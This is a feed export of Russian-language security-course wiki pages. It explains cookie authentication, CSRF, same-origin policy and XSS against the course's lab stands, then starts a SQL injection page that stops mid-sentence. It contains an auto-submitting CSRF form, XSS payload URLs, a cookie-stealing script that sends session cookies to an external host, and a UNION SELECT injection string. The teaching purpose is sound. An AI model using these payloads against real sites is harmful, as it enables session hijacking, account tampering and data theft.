		<updated>2022-07-04T13:14:54Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Reflected XSS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;При атаке на клиента атакующий пытается вынудить &#039;&#039;&#039;браузер&#039;&#039;&#039; клиента (&#039;&#039;&#039;жертвы&#039;&#039;&#039; атаки) выполнить какое-то действие с веб-приложением. Причина почему это может быть полезно атакующему - браузер клиента может быть &#039;&#039;&#039;аутентифицирован&#039;&#039;&#039; в приложении, запросы от него могут быть отличимы сервером, то есть сервер может понимать, что данный запрос сделан от имени конкретного пользователя.&lt;br /&gt;
&lt;br /&gt;
== Аутентификация ==&lt;br /&gt;
&lt;br /&gt;
Существуют различные способы, которыми сервер может отличать, от какого клиента пришёл запрос.&lt;br /&gt;
&lt;br /&gt;
=== Сессии на основе Cookie ===&lt;br /&gt;
&lt;br /&gt;
Наиболее часто используемый способ аутентификации в современный веб-приложениях - это &#039;&#039;&#039;cookie&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/Cookie википедия], [https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies MDN]). Работает это очень просто: в HTTP-ответе сервер отправляет заголовок &amp;lt;code&amp;gt;Set-Cookie: COOKIENAME=SOMEUNIQUEVALUE&amp;lt;/code&amp;gt;, где &amp;lt;code&amp;gt;SOMEUNIQUEVALUE&amp;lt;/code&amp;gt; - какое-то значение, уникальное для этой &#039;&#039;&#039;сессии&#039;&#039;&#039; (&#039;&#039;&#039;идентификатор сессиии&#039;&#039;&#039;), &amp;lt;code&amp;gt;COOKIENAME&amp;lt;/code&amp;gt; - имя сессионного идентификатора, имя, с которым ассоциировано это уникальное значение. Получив это значение, браузер запомнит его и будет отправлять на этот сайт с каждым последующим запросом в заголовке &amp;lt;code&amp;gt;Cookie&amp;lt;/code&amp;gt; (кстати, что именно значит &amp;quot;на этот сайт&amp;quot; очень интересно - кука будет отправлена если обращаться на другой TCP, порт а также по дефолту на все поддомены. [https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies В доке MDN есть про это]). По тому что в запросе в заголовке &amp;lt;code&amp;gt;Cookie&amp;lt;/code&amp;gt; будет это уникальное значение сервер будет понимать, что этот запрос относится к этой &#039;&#039;&#039;сессии&#039;&#039;&#039;, в том числе, если эта сессия принадлежит какому-то клиенту, что этот запрос от этого клиента. Для примера можно залогиниться на http://pwnitter.stands.course.secsem.ru/ (для этого надо сначала зарегиться). При логине на сервер отправится такой запрос&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /login HTTP/1.1&lt;br /&gt;
Host: pwnitter.stands.course.secsem.ru&lt;br /&gt;
...&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-Length: 24&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
login=test&amp;amp;password=test&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
В ответ сервер присылает заголовок &amp;lt;code&amp;gt;Set-Cookie: session=eyJ1c2VyIjoidGVzdCIsInVzZXJfaWQiOjN9.D3Az7g.wEXp46Qb6OpIPnwIYspV_cIUgug; Path=/&amp;lt;/code&amp;gt;. Все последующие запросы клиента содержат заголовок с этим значением &amp;lt;code&amp;gt;Cookie: session=eyJ1c2VyIjoidGVzdCIsInVzZXJfaWQiOjN9.D3Az7g.wEXp46Qb6OpIPnwIYspV_cIUgug&amp;lt;/code&amp;gt;. В качестве эксперимента можно убрать этот загловок или изменить его (скажем, удалить половину) и посмотреть, как изменится ответ сервера при запросе относящихся к конкретному пользователю ресурсов (к примеру &amp;lt;code&amp;gt;GET /api/get&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Также можно попробовать залогиниться на каком-нибудь реальном сайте (скажем, vk.com или mail.ru) и посмотреть (например через Burp) на заголовки HTTP-запросов и ответов.&lt;br /&gt;
&lt;br /&gt;
=== Другие варианты аутентификации ===&lt;br /&gt;
&lt;br /&gt;
Протокол HTTP сам по себе поддерживает несколько вариантов аутентификации через заголовок &amp;lt;code&amp;gt;Authorization&amp;lt;/code&amp;gt;, также при использовании HTTPS возможна аутентификация по клиентскому сертификату, наконец, возможны более простые варианты, например, по IP-адресу.&lt;br /&gt;
&lt;br /&gt;
Все перечисленные варианты обладают одним общим свойством - любой запрос, отправленный аутентифицированным браузером на сайт, будет автоматически обладать аутентифицирующим признаком (например содержать аутентифицирующий токен - куку/учетные данные/...) и будет считаться сервером как сделанный от имени этого клиента. Это удобно, но это может помочь атакующему, если тот сможет вынудить браузер жертвы отправить запрос, который ни жертва, ни разработчик сайта, отправлять не собирались. (Кстати, таким свойством обладает не любой способ аутентификации. К примеру, если аутентифицировать запросы по кастомному заголовку или кастомному параметру запроса, то их браузер автоматически не пошлёт - правда, в случае кастомного заголовка всё взаимодействие с сервером придётся осуществлять через JavaScript, в целом, программирование сайта будет несколько сложнее).&lt;br /&gt;
&lt;br /&gt;
== Cross-site request forgery ==&lt;br /&gt;
&lt;br /&gt;
Прямой эксплуатацией описанного выше свойства является атака &#039;&#039;&#039;Cross-site request forgery&#039;&#039;&#039; (&#039;&#039;&#039;CSRF&#039;&#039;&#039;, [https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) OWASP], [https://en.wikipedia.org/wiki/Cross-site_request_forgery википедия]). Эта атака имеет смысл когда существует существует запрос к серверу, который может внести на сервере какие-то изменения, причем эффект запроса зависит от того, какой пользователь его сделал (к примеру, запрос имеет право только определенный пользователь).&lt;br /&gt;
Например, на сайте http://zp.stands.course.secsem.ru/ у пользователей есть возможность изменить свой номер карты, записанный в профиле. В личном кабинете есть форма, посылающая на сервер запрос на изменение номера карты. Изменение делается запросом вида&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /lk HTTP/1.1&lt;br /&gt;
Host: zp.stands.course.secsem.ru&lt;br /&gt;
...&lt;br /&gt;
Cookie: session=eyJwYXNzd29yZCI6InRlc3QiLCJ1c2VybmFtZSI6InRlc3QifQ.XI7Y8g.pVkMZg6ZzsBYm8vZZw-PxGDMXaQ&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
card_number=372757798399775&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
При этом то, в чьем профиле будет изменён номер карты, определяется именно кукой (отпрака этого запроса без куки или с невалидной кукой приводит к ошибке &amp;lt;code&amp;gt;400 BAD REQUEST&amp;lt;/code&amp;gt;). Допустим, атакующий хочет изменить номер карты в профиле жертвы на свой - на &#039;&#039;&#039;6011720544333229&#039;&#039;&#039;. Он может создать страницу с HTML-кодом&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;form action=&amp;quot;http://zp.stands.course.secsem.ru/lk&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input name=&amp;quot;card_number&amp;quot; value=&amp;quot;6011720544333229&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
    document.forms[0].submit();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Эта страница содержит форму, отправка которой приводит к созданию как раз такого запроса на изменение номера карты как тот что создаёт сайт (атрибут &amp;lt;code&amp;gt;action&amp;lt;/code&amp;gt; формы задаёт URL, на который будет отправлен запрос при отправке формы, &amp;lt;code&amp;gt;method&amp;lt;/code&amp;gt; задаёт метод, параметры запроса определяются &amp;lt;code&amp;gt;input&amp;lt;/code&amp;gt;&#039;ами, при этом атрибут &amp;lt;code&amp;gt;name&amp;lt;/code&amp;gt; задаёт название параметра, значением будет значение, заданое в &amp;lt;code&amp;gt;input&amp;lt;/code&amp;gt;&#039;е, атрибут &amp;lt;code&amp;gt;value&amp;lt;/code&amp;gt; задаёт изначальнок значение). JS-код &amp;lt;code&amp;gt;document.forms[0].submit();&amp;lt;/code&amp;gt; автоматически отправляет форму.&lt;br /&gt;
&lt;br /&gt;
Если атакующему удастся каким-то образом заманить жертву на такую страницу (к примеру, он встроит её в сайт который жертва иногда посещает или атакующий может убедить жертву пройти по присланной ссылке), то при её посещении форма автоматически отправится и данные в профиле изменятся (в данном случае - номер карты поменяется на &#039;&#039;&#039;6011720544333229&#039;&#039;&#039;, это можно легко проверить, сохранив приведенный выше HTML-код в HTML-файл, скажем, &amp;lt;code&amp;gt;test.html&amp;lt;/code&amp;gt; и открыв его в браузере, будучи залогиненым на сайте, к стенду zp.stands.course.secsem.ru подходят логин/пароль &amp;lt;code&amp;gt;test&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;test&amp;lt;/code&amp;gt;). Это и есть атака &#039;&#039;&#039;CSRF&#039;&#039;&#039;. В реальности могут быть и более серьёзные действия, которые можно сделать через CSRF, например удалить аккаунт или дать другому пользователю админские права или, скажем, сменить пароль.&lt;br /&gt;
&lt;br /&gt;
Следует отметить что, если бы действие на сайте выполнялось не через &amp;lt;code&amp;gt;POST&amp;lt;/code&amp;gt;-запрос, а через простой &amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt; с передачей всех параметров в URL, атакующему было бы проще - никакую форму делать бы не пришлось, достаточно было бы перенаправить браузер жертвы на выполняющий действие URL, уже содержащий нужные атакующему параметры (перенаправление можно сделать со своего сервера через HTTP-редирект или из JavaScript кодом &amp;lt;code&amp;gt;location.href = &amp;quot;http://google.com/search?q=csrf&amp;quot;&amp;lt;/code&amp;gt;) или, если атакующему удаётся заставить жертву перейти по присланной ссылке, просто дать жертве сразу выполняющую действие ссылку. Есть и другие способы заставить браузер жертвы сделать &amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt;-запрос - к примеру, разместить на посещаемой жертвой странице скрипт или стиль или картинку с адресом - URL, соответствующим действию на сайте. Даже если на этот запрос не будет возвращаться валидный скрипт/стиль/картинка, чтобы это понять, браузеру придется сначала сделать запрос. Это одна из причин почему считается, что &amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt;-запросы (а также запросы с другими &#039;&#039;&#039;safe&#039;&#039;&#039; методами) никогда не должны изменять состояние сервера, изменения должны делаться только через &amp;lt;code&amp;gt;POST&amp;lt;/code&amp;gt; или другой &#039;&#039;&#039;unsafe&#039;&#039;&#039; метод. Про safe/unsafe методы: [https://tools.ietf.org/html/rfc7231#section-4.2.1 RFC], [https://developer.mozilla.org/en-US/docs/Glossary/safe MDN].&lt;br /&gt;
&lt;br /&gt;
== JavaScript и Same-origin policy ==&lt;br /&gt;
&lt;br /&gt;
Страницы, загруженные в браузере с одних сайтов, могут вызывать запросы к другим сайтам, как было рассмотрено выше (загрузка картинок, стилей, скриптов, перенаправления, автоматическая отправка форм). Однако, &#039;&#039;&#039;JavaScript&#039;&#039;&#039; - код может не только отправлять запросы, но и &#039;&#039;&#039;читать ответы на них&#039;&#039;&#039;, а также делать что-то с прочитанными данными, в т. ч. передавать их еще куда-то. С помощью HTML-тега &amp;lt;code&amp;gt;iframe&amp;lt;/code&amp;gt; ([https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe MDN]) можно создавать внутри страницы вложенные страницы и JS-код может читать их содержимое. Также, у JS-кода на веб-страницах есть собственные интерфейсы для отправки HTTP-запросов и чтения ответов - &amp;lt;code&amp;gt;XMLHttpRequest&amp;lt;/code&amp;gt; ([https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest MDN]) и более новый &amp;lt;code&amp;gt;fetch&amp;lt;/code&amp;gt;([https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch MDN]). Если бы JS-код с любого сайта мог делать запросы &#039;&#039;&#039;на любой другой&#039;&#039;&#039; и &#039;&#039;&#039;читать ответы на них&#039;&#039;&#039;, получилось бы совсем небезопасно - любой недоверенный сайт, посещенный пользователем, мог бы тут же запросить страницы его интернет-банка, его сообщений из социальных сетей, почты и т. д. и украсть всю информацию оттуда.&lt;br /&gt;
&lt;br /&gt;
Чтобы побороться с этой проблемой, был введён принцип &#039;&#039;&#039;Same-origin policy&#039;&#039;&#039; (&#039;&#039;&#039;SOP&#039;&#039;&#039;, [https://www.w3.org/Security/wiki/Same_Origin_Policy W3C], [https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy MDN], [https://en.wikipedia.org/wiki/Same-origin_policy википедия]) - соглавно нему, JS-код на странице, загруженной с одного сайта, &#039;&#039;&#039;не может читать ответы&#039;&#039;&#039; на запросы к другому сайту, а также получать доступ к содержимому &amp;lt;code&amp;gt;iframe&amp;lt;/code&amp;gt; с другого сайта. Опять возникает вопрос, что значит &amp;quot;с одного сайта&amp;quot; - более точно, SOP запрещает чтение ответа (а также, в некоторых случаях, ограничивает отправку запроса) у страницы с которой делается запрос и сайта, куда он посылается, отличается &#039;&#039;&#039;origin&#039;&#039;&#039; ([https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#Definition_of_an_origin MDN]) - тройка из &#039;&#039;&#039;протокола&#039;&#039;&#039;, &#039;&#039;&#039;хоста&#039;&#039;&#039; и &#039;&#039;&#039;порта&#039;&#039;&#039;. Т. е. если хотя бы один их этих параметров отличается (запрос делается с другим протоколом, скажем, http вместо https) или на другой порт или на другой хост (т. е. другое доменное имя или ip-адрес) то такой запрос будет считаться кросс-доменным и будет попадать под ограничение SOP. Существует несколько механизмов, которые позволяют сайтам управлять этими ограничениями - их можно ослабить, позволив одному сайту читать данные с другого с помощью [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS CORS] и, наоборот, усилить (скажем, запретив включать с другого сайта даже картинки) с помощью [https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP CSP].&lt;br /&gt;
&lt;br /&gt;
В любом случае, в итоге, по умолчанию в современном интернете JS-код на страницах одного сайта (evil.com) не может прочесть данные с другого сайта (victim.site). Однако, что если бы атакующему удалось поместить свой JS-код на страницы c &#039;&#039;&#039;того же сайта&#039;&#039;&#039;, атакуемого, прямо на victim.site?&lt;br /&gt;
&lt;br /&gt;
== Cross-site scripting ==&lt;br /&gt;
&lt;br /&gt;
В случае, если атакующему удаётся выполнить свой JS-код на странице атакуемого сайта, это позволяет провести уже более серьёзную атаку - &#039;&#039;&#039;Cross-site scripting&#039;&#039;&#039; (&#039;&#039;&#039;XSS&#039;&#039;&#039;, [https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) OWASP], [https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting MDN], [https://en.wikipedia.org/wiki/Cross-site_scripting википедия]). Поскольку страница, на которой выполняется код, принадлежит атакуемому сайту, у неё будет его &#039;&#039;&#039;origin&#039;&#039;&#039;, то этот код сможет читать как содержимое этой страницы, так и делать запросы к этому сайту и &#039;&#039;&#039;читать ответы на них, получая полный доступ ко всему на этом сайте, к чему имеет доступ сам пользователь&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Reflected XSS ===&lt;br /&gt;
&lt;br /&gt;
Простейшим вариантом XSS является &#039;&#039;&#039;Reflected XSS&#039;&#039;&#039; (также называемый XSS типа 1), при которой часть запроса на сайт включается без достаточной фильтрации (например, вообще без изменений) в ответ на этот запрос. К примеру, у сайта http://pwnitter.stands.course.secsem.ru/ есть страничка приветствия только что зарегистрированного пользователя: http://pwnitter.stands.course.secsem.ru/registration-complete?name=newuser. Она работает так что берётся параметр &amp;lt;code&amp;gt;name&amp;lt;/code&amp;gt; из query string запроса и as-is помещается в ответ, после надписи &amp;lt;code&amp;gt;Hello, &amp;lt;/code&amp;gt;, получается приветствие. В случае, если в параметре &amp;lt;code&amp;gt;name&amp;lt;/code&amp;gt; будут управляющие символы HTML, они также будут помещены на страницу и с помощью них могут быть сформированы HTML-тэги. Для браузера они будут выглядеть как часть разметки страницы, сгенерированной сервером и он проинтерпретирует их соответствующим образом, он не знает что эта часть страницы пришла из запроса пользователя &amp;lt;s&amp;gt;(на самом деле в &#039;&#039;&#039;Google Chrome&#039;&#039;&#039; есть защитный механизм [https://www.chromium.org/developers/design-documents/xss-auditor XSS auditor], который пытается это понимать и блокирует такие запросы, поэтому экспериментировать лучше в Firefox)&amp;lt;/s&amp;gt;. В результате, при переходе по ссылке http://pwnitter.stands.course.secsem.ru/registration-complete?name=%3Cscript%3Ealert(&#039;SCRIPT+FROM+ATTACKER&#039;);%3C/script%3E браузер получит страницу, содержащую тег &amp;lt;code&amp;gt;&amp;lt;script&amp;gt;alert(&#039;SCRIPT FROM ATTACKER&#039;);&amp;lt;/script&amp;gt;&amp;lt;/code&amp;gt;, что на Firefox должно привести выполнению JS-кода &amp;lt;code&amp;gt;alert(&#039;SCRIPT FROM ATTACKER&#039;);&amp;lt;/code&amp;gt; и появлению окошка с надписью &amp;lt;code&amp;gt;SCRIPT FROM ATTACKER&amp;lt;/code&amp;gt; (а в Chrome - к странице с сообщением о блокировке с надписью &amp;lt;code&amp;gt;ERR_BLOCKED_BY_XSS_AUDITOR&amp;lt;/code&amp;gt;). В итоге, если атакующий может, как и в предыдущем сценарии с CSRF, убедить жертву перейти по переданной ссылке (или зайти на контроллируемый атакующим сайт что в данном случае равноценно т.к. можно сделать &amp;lt;code&amp;gt;iframe&amp;lt;/code&amp;gt; или редирект), то атакующий сможет получит доступ и украсть любые данные, доступные жертве.&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация XSS ===&lt;br /&gt;
&lt;br /&gt;
Конкретнее, атакующий может&lt;br /&gt;
* получить &#039;&#039;&#039;cookie&#039;&#039;&#039; через свойство &amp;lt;code&amp;gt;document.cookie&amp;lt;/code&amp;gt;. По-умолчанию JavaScript-код может считывать значения кук и менять их. Это протейший способ эксплуатации XSS, после кражи сессионного идентификатора атакующий может просто уже самостоятельно делать запросы, передавая его в заголовке &amp;lt;code&amp;gt;Cookie&amp;lt;/code&amp;gt;, сайт будет воспринимать эти запросы как пришедшие от пользователя-жертвы, так что дальше атакующий сможет получить доступ ко всем данным жетвы, просто запрашивая их. Чтение куки из JS-кода можно запретить, выставив атрибут куки &amp;lt;code&amp;gt;HttpOnly&amp;lt;/code&amp;gt; ([https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Secure_and_HttpOnly_cookies MDN], [https://www.owasp.org/index.php/HttpOnly OWASP]), он выставляется вместе с кукой в заголовке ответа &amp;lt;code&amp;gt;Set-Cookie: session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.XI9rjw.-tX3LIQ-cwyUnNlOuQqyVXBu99A; HttpOnly; Path=/&amp;lt;/code&amp;gt;. Проверить, сработает ли кража куки можно, залогинившись и обратившись к &amp;lt;code&amp;gt;document.cookie&amp;lt;/code&amp;gt; (в браузерной консоли или по-другому из JS кода). Например, можно будучи залогиненым перейти по урлу http://pwnitter.stands.course.secsem.ru/registration-complete?name=%3cscript%3ealert(&#039;STOLENCOOKIE:+&#039;+%2b+document.cookie);%3c/script%3e (обратите внимание, что тут плюс (&amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt;) закодирован URL-кодированием и выглядит как &amp;lt;code&amp;gt;%2b&amp;lt;/code&amp;gt; - без этого он по правилам URL-кодирования превратился бы в пробел.&lt;br /&gt;
* читать (и изменять) страницу, на которой выполняется JS-код. JavaScript-код может произвольным образом манипулировать страницей, используя интерфейс &#039;&#039;&#039;Document Object Model&#039;&#039;&#039; (&#039;&#039;&#039;DOM&#039;&#039;&#039;, [https://en.wikipedia.org/wiki/Document_Object_Model википедия], [https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model MDN]). К примеру, весь HTML-код страницы можно считать таким кодом &amp;lt;code&amp;gt;var wholePage = document.documentElement.outerHTML;&amp;lt;/code&amp;gt;&lt;br /&gt;
* делать HTTP-запросы к сайту и читать ответы на них, используя &#039;&#039;&#039;XMLHttpRequest&#039;&#039;&#039; и &#039;&#039;&#039;fetch&#039;&#039;&#039;&lt;br /&gt;
* выводить считанные данные &#039;&#039;&#039;на сервер атакующего&#039;&#039;&#039;. Как уже обсуждалось выше, JS-код на странице &#039;&#039;&#039;может&#039;&#039;&#039; делать запросы к другим сайтам (по умолчанию читать ответы не получится, но, во-первых, для вывода украденных данных достаточно сделать запрос, во-вторых, в крайнем случае атакующий может включить на своём cервере &#039;&#039;&#039;CORS&#039;&#039;&#039;).&lt;br /&gt;
** Для отправки запроса, содержащего украденные данные, можно использовать XMLHttpRequest/fetch&lt;br /&gt;
** есть еще более простой трюк - создать в JS-коде изображение с URL, хостом которого будет сервер атакующего, а в пути или query string будут украденные данные. При попытке загрузить изображение по этому URL браузер отправит запрос, включающий украденные данные, атакующий увидит его, скажем, в логах своего сервера. Например, такой код &amp;lt;code&amp;gt;var i = new Image;var stolenCookie = document.cookie; i.src = &#039;https://utkautkautkautkautka.pythonanywhere.com/stolen?data=&#039; + stolenCookie&amp;lt;/code&amp;gt; приведёт к тому что браузер откроет URL https://utkautkautkautkautka.pythonanywhere.com/stolen?data=session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.D3EBFA.F9g-ANJQvCGlewtSVEbYIYfyLXk и а логах этого сервера появится запись &amp;lt;code&amp;gt;&amp;quot;GET /stolen?data=session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.D3EBFA.F9g-ANJQvCGlewtSVEbYIYfyLXk HTTP/1.1&amp;quot; 404&amp;lt;/code&amp;gt;, содержащая украденную куку.&lt;br /&gt;
** При выводе данных атакующему может помогать кодировать данные (чтобы, скажем, они не образались по какому-нибудь символу-разделителю). Очень полезна функция &amp;lt;code&amp;gt;btoa&amp;lt;/code&amp;gt;, которая кодирует строку в &#039;&#039;&#039;base64&#039;&#039;&#039;. Другим вариантом может быть URL-кодирование (&amp;lt;code&amp;gt;encodeURIComponent&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
=== Stored XSS ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Stored XSS&#039;&#039;&#039; (или XSS типа 2) имеет место, когда атакующий JS-код &#039;&#039;&#039;сохраняется на сервере&#039;&#039;&#039; и возвращается не в ответ на запрос, передающий этот код (или не только на него), но и на другие запросы, уже не содержащие атаку. На стенде http://pwnitter.stands.course.secsem.ru/ примером stored XSS является XSS в личных сообщениях. Текст личного сообщения никак не фильтруется и подставляется в страницу входящих сообщений as-is, что позволяет внедрить произвольный JS-код. Stored XSS намного опаснее, т. к., во-первых, вредоносный код сохраняется на сервере и может отработать несколько раз без дополнительных действий со стороны атакующего, во-вторых, жетва не должна как-то &amp;quot;подыгрывать&amp;quot; атакующему, переходя по подозрительным ссылкам или заходя на недоверенные сайты; жетва может делать вполне обычные действия, посещая вполне легитимные страницы сайта (в данном случае - простматривая личные сообщения) и при этом подвергнуться атаке.&lt;br /&gt;
&lt;br /&gt;
=== DOM-based XSS === &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;DOM-based XSS&#039;&#039;&#039; (&#039;&#039;&#039;DOMXSS&#039;&#039;&#039; или XSS типа 3) - XSS, вызванная действиями клиентского JS-кода, а не сервера. JavaScript-код может произвольным образом менять сожержимое страницы, в т. ч. добавить на неё новый скрипт, что может привести к его выполнению. Кроме того, у JavaScript есть ряд способов непосредственно выполнить новый JS-код (&amp;lt;code&amp;gt;eval&amp;lt;/code&amp;gt;,&amp;lt;code&amp;gt;Function&amp;lt;/code&amp;gt; и не только). В итоге, ошибка в клиентском коде (в простейшем случае - опять же, подстановка пользовательских данных на страницу без должной фильтрации) может приводить к XSS, при этом вредоносный код может даже не отправляться на сервер и атака может пройти для сервера полностью незамеченной. Примером DOMXSS на стенде http://pwnitter.stands.course.secsem.ru/ является XSS в &amp;quot;твитах&amp;quot;. Они грузятся с сервера асинхронно JS-кодом (с помощью XMLHttpRequest) и помещаются в код страницы через присваивания свойства &amp;lt;code&amp;gt;innerHTML&amp;lt;/code&amp;gt; ([https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML MDN]). Никакой фильтрации опять-таки не производится, что позволяет внедрить на страницу разметку. Что интересно, код в теге &amp;lt;code&amp;gt;script&amp;lt;/code&amp;gt; при этом не выполнится - он не выполняется автоматически при добавке &amp;lt;code&amp;gt;script&amp;lt;/code&amp;gt; через &amp;lt;code&amp;gt;innerHTML&amp;lt;/code&amp;gt;. Однако, здесь может сработать другой, более универсальный вектор - обработчик события. Одним из наиболее часто используемых векторов атаки является тег &amp;lt;code&amp;gt;img&amp;lt;/code&amp;gt; с невалидным урлом и обработчиком ошибки: &amp;lt;code&amp;gt;&amp;lt;img src=invalidsource onerror=&amp;quot;alert(&#039;XSS&#039;)&amp;quot;&amp;gt;&amp;lt;/code&amp;gt;. В принципе, DOMXSS тоже можно классифицировать как Reflected и Stored, в зависимости от того, берет ли уязвимый клиентский код атакующие данные из запроса клиента или же они где-то сохранены. В данном случае, скорее, Stored, так как &amp;quot;твит&amp;quot; сохранится на сервере и будет отдаваться в списке, что приведет к атаки на любых пользователей, которые, скажем, зашли посмотреть список рандомных твитов.&lt;br /&gt;
&lt;br /&gt;
=== XSS vs CSRF ===&lt;br /&gt;
&lt;br /&gt;
Хорошим тестом на понимание является ответ на вопрос - что сильнее, XSS или CSRF и нужно ли искать/может ли быть полезным CSRF если уже удаётся эксплуатировать на сайте XSS.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%AD%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F_SQL_injection&amp;diff=681</id>
		<title>Введение в практическую безопасность (2019)/Эксплуатация SQL injection</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%AD%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F_SQL_injection&amp;diff=681"/>
		<updated>2022-07-04T13:02:58Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* UNION SELECT */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Краткое введение в то что такое SQL injection было в [[Введение_в_практическую_безопасность_(2019)/HTTP,_инструменты_%26_SQL_injection#SQL_injection|предыдущей статье]], теперь о некоторых вещах которые может делать атакующий.&lt;br /&gt;
&lt;br /&gt;
=== SQL-комментарий ===&lt;br /&gt;
&lt;br /&gt;
Супер простой трюк. В конце своей инъекции можно добавить символы однострочного SQL-комментария, тогда всё что идет дальше (как правило, остаток исходного SQL-запроса) будет считаться комментарием и проигнорируется. В разных БД символы комментария могут разными, см. документацию, чаще всего это двойной минус &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt; и/или решетка &amp;lt;code&amp;gt;#&amp;lt;/code&amp;gt;, также бывает классический двойной слеш &amp;lt;code&amp;gt;//&amp;lt;/code&amp;gt;. Фактически, этот трюк уже был использован в примере в [[Введение_в_практическую_безопасность_(2019)/HTTP,_инструменты_%26_SQL_injection#SQL_injection|предыдущей статье]], двойной минус в конце там заставил базу данных проигнорировать оставшуюся от исходного запроса одинарную кавычку в конце.&lt;br /&gt;
&lt;br /&gt;
=== UNION SELECT ===&lt;br /&gt;
&lt;br /&gt;
Очень полезным может быть &amp;lt;code&amp;gt;UNION&amp;lt;/code&amp;gt; ([https://ru.wikipedia.org/wiki/Union_(SQL) вики],[https://www.postgresql.org/docs/9.4/typeconv-union-case.html доки postgres],[http://citforum.ru/database/sql_kg/3-4.shtml курс &amp;quot;Основы современных БД&amp;quot;]), который позволяет присоединить к результу одного &amp;lt;code&amp;gt;SELECT&amp;lt;/code&amp;gt; запроса результат еще одного. Если инъекция в операторе &amp;lt;code&amp;gt;SELECT&amp;lt;/code&amp;gt; (что в реальности довольно часто), с помощью &amp;lt;code&amp;gt;UNION&amp;lt;/code&amp;gt; можно добавить в его результат вывод нового, полностью написанного атакующим &amp;lt;code&amp;gt;SELECT&amp;lt;/code&amp;gt; - запроса из друой таблицы, с другими колонками, условиями и т. д.&lt;br /&gt;
&lt;br /&gt;
Чтобы &amp;lt;code&amp;gt;UNION&amp;lt;/code&amp;gt; сработал, требуется чтобы количество и типы колонок совпадали. Помочь с этим может то что в SQL можно писать на месте колонок просто константы (и тогда они просто проставятся на эти места в каждой из строк результата запроса) и то что чаще всего можно использовать вместо любого значения &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;. Если количество колонок в исходном запросе неизвестно, можно просто подбирать его.&lt;br /&gt;
&lt;br /&gt;
Для такого кода&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sqli-code.png|650px]]&lt;br /&gt;
&lt;br /&gt;
если параметр &amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt; будет иметь значение &amp;lt;code&amp;gt;admin&#039; UNION SELECT * FROM webapp.users WHERE login = &#039;Kobzon&#039; #&amp;lt;/code&amp;gt; результирующий запрос примет вид&lt;br /&gt;
